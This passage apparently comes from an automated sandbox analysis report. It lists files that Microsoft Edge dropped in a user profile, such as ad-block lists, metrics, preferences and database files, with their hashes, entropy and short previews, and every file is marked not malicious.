Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13375877840318426","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"cf719267-3f32-4f6d-9f53-09de4e346ea3"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132142787195
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P75:fwUQC5VwBIiElEd2K57P75
MD5:	8A8D1DEF9454FAD85BE45955088388B3
SHA1:	DAC7F47706D3DCEDBCE567536B51BE314DC5FD33
SHA-256:	740558A371E809FCF6F4EB7F5DCA3F2766E27FCAD5E4DA04D13A181760E16312
SHA-512:	8D2A8819C57B74037422D8B725B5A061C728CB3B66C14ACB1955A2AB0E03403403B1692595CE3EBB488EFB7685C88CDAE3CD7890344353E2EFB3E5496D670EB5
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\f018612c-4d4b-40e5-bab6-335f6e767f9c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132142787195
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P75:fwUQC5VwBIiElEd2K57P75
MD5:	8A8D1DEF9454FAD85BE45955088388B3
SHA1:	DAC7F47706D3DCEDBCE567536B51BE314DC5FD33
SHA-256:	740558A371E809FCF6F4EB7F5DCA3F2766E27FCAD5E4DA04D13A181760E16312
SHA-512:	8D2A8819C57B74037422D8B725B5A061C728CB3B66C14ACB1955A2AB0E03403403B1692595CE3EBB488EFB7685C88CDAE3CD7890344353E2EFB3E5496D670EB5
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673321CF-1FC4.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4943139268861717
Encrypted:	false
SSDEEP:	3072:BQrPfQhGrZQ0WTB7t56YkcJ9pdd+1pL3B/wLFq00ruXGImg1HF5CmkrE:gPffZ4t5PkcJP2j2LFq00rYGImaHHCm
MD5:	D0441CD8A2CBC52AEC567C81AF0A1FFC
SHA1:	220E8952EE9FA5C689522EEA52F0A53D5FCCB105
SHA-256:	894CE692459C7C35D1DB1A77A8422E500CB961E703C311160148CD72A7B7C62A
SHA-512:	73016E19F29E2B568A822C3E92C52B8334AF5605B96B5684718FD0DEE56ECC13A27A022D442597EE93519A8B526328A16ADBC55D079E18BB81406F99C1A59A93
Malicious:	false
Preview:	...@..@...@.....C.].....@...............`..................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".sipmhw20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................ .`2......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\051b0893-5160-4af3-9ce2-28426d77029c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17483), with no line terminators
Category:	dropped
Size (bytes):	17489
Entropy (8bit):	5.47978042253799
Encrypted:	false
SSDEEP:	384:strPGQSu4usnXQCDLssrleNm9LbGNv/QwPd3x:sdOXuGQCMsrnbGe6x
MD5:	F8DA0F9514306F55CE0BC123D420CE68
SHA1:	EE1864C148A56B0CB8434F7525FA030D61DB1179
SHA-256:	8179F41AA7D950425C55470A361E646D4975FCE578574759EC4F3CB043E14758
SHA-512:	1FB201FD1BB4F9BD36553924FDCBD3D6F937DDB2909D7A46714D9C9DCC3F7090EEB17F50C6EFF956CC5F7C9A6B634C7DC76FB1918A5335029F637166ED3674BB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375877840144458","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\09aea466-8964-43eb-aa84-ee6f008badea.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17274), with no line terminators
Category:	dropped
Size (bytes):	17280
Entropy (8bit):	5.4845476902021515
Encrypted:	false
SSDEEP:	384:strPGQSu4us5XQCDLssrleNm9LbGNv/QwPFx:sdOXuEQCMsrnbGekx
MD5:	575CC5BD7537109BD466AF5980D30222
SHA1:	AA914666C5DD25B28874BDB36545CCBA469942C6
SHA-256:	246FCB23AC7D4301B9A7106FDED94E461F3277C20F142E7D9D15B91655594FEF
SHA-512:	7C85A6BBF4053510C1C80B3B53D2EF199726EBB44BDA73FE19D38CC15036500536745EF7A8148A2BE9B03C34539E74C6D315BC541BE744281E6F78CF6A5DB59E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375877840144458","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\2ab6b2df-25d1-4c48-ba6b-418a7841ae9b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4857aa0d-8cb9-48a6-bed3-9c4d79e7c52c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.558306368051718
Encrypted:	false
SSDEEP:	768:goSI1MW6H7pLGLp49W5wsaf4fy8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP7bIGL/Fi:gVgMVBcp49Wasafqyu1jaWL7uYtK
MD5:	A2AF96684A7DFE45C4D9054919CC2CEF
SHA1:	5412C5FA98F82960E18EC5E1901067CC5CC18371
SHA-256:	ED8F091268D5CB59FF75C074F702C8C8809C2AFE87E368CB9DEB8613CF19BD82
SHA-512:	657EF8B85B8CADA5294D3C9707FEA0909E1C82D7C0CECABAA93CC287AF91BF469424FFB30D39ED29DE221927FA3D9E4B6B3F1DBA2B0BFDE8B9A5F8F8C3FB3F15
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375877839602752","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375877839602752","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4d47673f-8d27-43da-80f8-adfecc159c04.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9756
Entropy (8bit):	5.1101504560959565
Encrypted:	false
SSDEEP:	192:strkdp3+s5XQaFvrE9kprwc28VbV+FNS+/QASAUlPCYJ:strQus5XQCD7rJbGNv/QRzx
MD5:	FD528C0BDD70E0AA9072A3E5307C1010
SHA1:	EE6B167D2591D3894DFA37DCE497FC6D61D8B787
SHA-256:	0DDE831A4877796D45855583A8C03D5C1B8117F522BE13DBB5C6CECC0B5EE182
SHA-512:	4B2C2AF6A6FAD7466F3EB40B017115F19396DB7B8DF4D5513C0D1C79ACC27324CB602455449F1F316D6D74DD01B4DCF3100DF4C771D39BEA6C8CE485C46507D6
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375877840144458","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\590d4637-b2bb-4092-ae8a-256e85ca46f6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17439), with no line terminators
Category:	dropped
Size (bytes):	17445
Entropy (8bit):	5.481444256109536
Encrypted:	false
SSDEEP:	384:strPGQSu4us5XQCDLssrleNm9LbGNv/QwPd3x:sdOXuEQCMsrnbGe6x
MD5:	6E664F848C5D236C81BF5E9AEA98FF7D
SHA1:	A5F0B631E56EFEF7FDCCED5945EF06B6AFF91A6A
SHA-256:	B0C24E5F9F71CE8007835DA68489557A32B111005916E11030CA9E655C8C6CF4
SHA-512:	46CA624DD0EDC94BB54F3773C10C95E64979F10D18499C696ECC1E58EB5716CD9C73843D2F19B9A3D5A870D8722E6106983FD9415308740D06DD596D25C36DFD
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375877840144458","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6e854ed9-70ad-44ba-843f-b478921c0d76.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16681), with no line terminators
Category:	dropped
Size (bytes):	16687
Entropy (8bit):	5.439029633392429
Encrypted:	false
SSDEEP:	384:strPGQSu4us5XQCD7rleNm9LbGNv/QwPzx:sdOXuEQCnrnbGeax
MD5:	89BD84263DA3C383009658FBB82DE3C7
SHA1:	78611EB5A7185B535720CD0DAFAD723C5EA52B03
SHA-256:	29A3ADCA0EAE01D1F6114E4E2C98D09220D941A2F970401358D257C4801C30BB
SHA-512:	9EF7DB360F93EFB0A9624606E6AD75B780F2D2C693E4AF88216790F1108EF40B81F721B5CFDFF37A8DAB2E06C9B12D317F70BC2CFD73BFD7FE7D6A2DE15A0CBF
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375877840144458","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\78cf8430-c6b8-4089-bf4d-da5a28aa2403.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38627
Entropy (8bit):	5.555095161581408
Encrypted:	false
SSDEEP:	768:go7I/MWYH7pLGLpf9W5wsaf4ey8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP4bIGL0FI:g8qMjBcpf9Wasafxyu1jaZLIuc8ZfHzL
MD5:	E9D8E15DFA439822449845F81E67A553
SHA1:	786366C6001BA247D01247119D62C24282FBA240
SHA-256:	42E7C396609493C355FC50D77B45A709BBE1352BDBE801E2ADDF306900FD77B4
SHA-512:	E4BC01BE7107F9A4A48D43339488FF0833387AD49F70EA4355E43243C44DBD90498050AF53D09F2C30C038D704BA028B0704FF5280952E84737CBC80FE307FF5
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375877839602752","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375877839602752","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\92a18e32-b9b0-40db-a39d-90019b06eebd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17439), with no line terminators
Category:	dropped
Size (bytes):	17445
Entropy (8bit):	5.481491274130527
Encrypted:	false
SSDEEP:	384:strPGQSu4us5XQCDLssrleNm9LbGNv/QwPT3x:sdOXuEQCMsrnbGeUx
MD5:	E27F5B46132443B71E7E3F68C8ECC8AA
SHA1:	3A675237468C82FAC53FDA162BB234B5000673D6
SHA-256:	B3E903CDA1486511BCA75EEFEB8CB7E47FABCBC017BAA12F650D18A742F488F0
SHA-512:	E918A2AC69DF74440FF00B02B96F0E8AD36DDCCF1E857C22E745AA3B41DBECF097206ABDB88752E4E43F52C049B2C4582E5DF4C5849DAFB0CD02BE43B351F221
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375877840144458","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
